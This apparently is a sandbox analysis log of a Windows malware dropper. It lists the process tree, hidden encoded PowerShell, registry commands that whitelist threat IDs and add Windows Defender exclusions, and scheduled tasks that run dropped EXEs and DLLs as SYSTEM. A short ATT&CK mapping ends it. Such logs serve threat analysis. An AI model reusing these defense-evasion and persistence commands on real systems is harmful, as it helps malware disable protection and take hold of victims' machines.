C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:216

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3056

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4996

C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\eegPKbX.exe
C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\dMUiSaChFqmKilH\eegPKbX.exe hV /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4116

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4488

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:1528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3904

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4724

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:1852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:3932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:4068

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:2092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:4952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:4868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:1272

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:1728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:4840

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:1452

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:1744

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4932

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:4948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:328

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4928

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:2036

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:4876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SfrSbxhXbhVCC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SfrSbxhXbhVCC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dWSjIMqfbdUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dWSjIMqfbdUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jFRyDUODU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jFRyDUODU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCfcnVibUgRU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oCfcnVibUgRU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wMiAwpnFkXrivKVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wMiAwpnFkXrivKVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lhYCvcGAfKQiHdyz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lhYCvcGAfKQiHdyz\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3736

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1232

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SfrSbxhXbhVCC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:412

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dWSjIMqfbdUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jFRyDUODU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3440

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oCfcnVibUgRU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3676

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wMiAwpnFkXrivKVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wMiAwpnFkXrivKVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:524

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV /t REG_DWORD /d 0 /reg:32
3⤵
PID:2284

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\erzvrHvcaZerrtDXV /t REG_DWORD /d 0 /reg:64
3⤵
PID:4996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lhYCvcGAfKQiHdyz /t REG_DWORD /d 0 /reg:32
3⤵
PID:5044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lhYCvcGAfKQiHdyz /t REG_DWORD /d 0 /reg:64
3⤵
PID:3784

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gdSgqNGkM" /SC once /ST 03:29:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:3552

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gdSgqNGkM"
2⤵
PID:4504

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gdSgqNGkM"
2⤵
PID:2028

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ZfXrITCAwqWWdJVle" /SC once /ST 00:04:38 /RU "SYSTEM" /TR "\"C:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\oNShAWy.exe\" Rv /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:548

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ZfXrITCAwqWWdJVle"
2⤵
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3672

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:4220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4892

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3204

C:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\oNShAWy.exe
C:\Windows\Temp\lhYCvcGAfKQiHdyz\TUiVwphJwWVEcGl\oNShAWy.exe Rv /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3952

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bNpHvRwEXzIclVjPnA"
2⤵
PID:2328

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:3392

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:4844

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:4576

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:4840

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\jFRyDUODU\jlBrCn.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "bcMXixuPVnLBvIi" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2476

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bcMXixuPVnLBvIi2" /F /xml "C:\Program Files (x86)\jFRyDUODU\AGdqfDr.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4656

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "bcMXixuPVnLBvIi"
2⤵
PID:2252

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bcMXixuPVnLBvIi"
2⤵
PID:1408

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "BohWRrpvXkQUIE" /F /xml "C:\Program Files (x86)\oCfcnVibUgRU2\CjBJuWK.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3696

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "MHnDegfkwbmnw2" /F /xml "C:\ProgramData\wMiAwpnFkXrivKVB\TSkiaWD.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:32

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "VEAFvbUpjoQCUTEsX2" /F /xml "C:\Program Files (x86)\jWYIfSfaEDaYgVKkjRR\gUIfbmm.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2944

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "uvJLzDjkAdvbwQszjeG2" /F /xml "C:\Program Files (x86)\SfrSbxhXbhVCC\KbWZxKf.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4692

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kYTQWNyBMOqWrvtpH" /SC once /ST 01:07:48 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\lhYCvcGAfKQiHdyz\qTPTdbIn\MSacWcp.dll\",#1 /site_id 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4916

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "kYTQWNyBMOqWrvtpH"
2⤵
PID:1764

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:2292

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:3736

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:2116

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:3552

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ZfXrITCAwqWWdJVle"
2⤵
PID:3540

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\lhYCvcGAfKQiHdyz\qTPTdbIn\MSacWcp.dll",#1 /site_id 525403
1⤵
PID:5044

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\lhYCvcGAfKQiHdyz\qTPTdbIn\MSacWcp.dll",#1 /site_id 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5008

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "kYTQWNyBMOqWrvtpH"
3⤵
PID:1636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery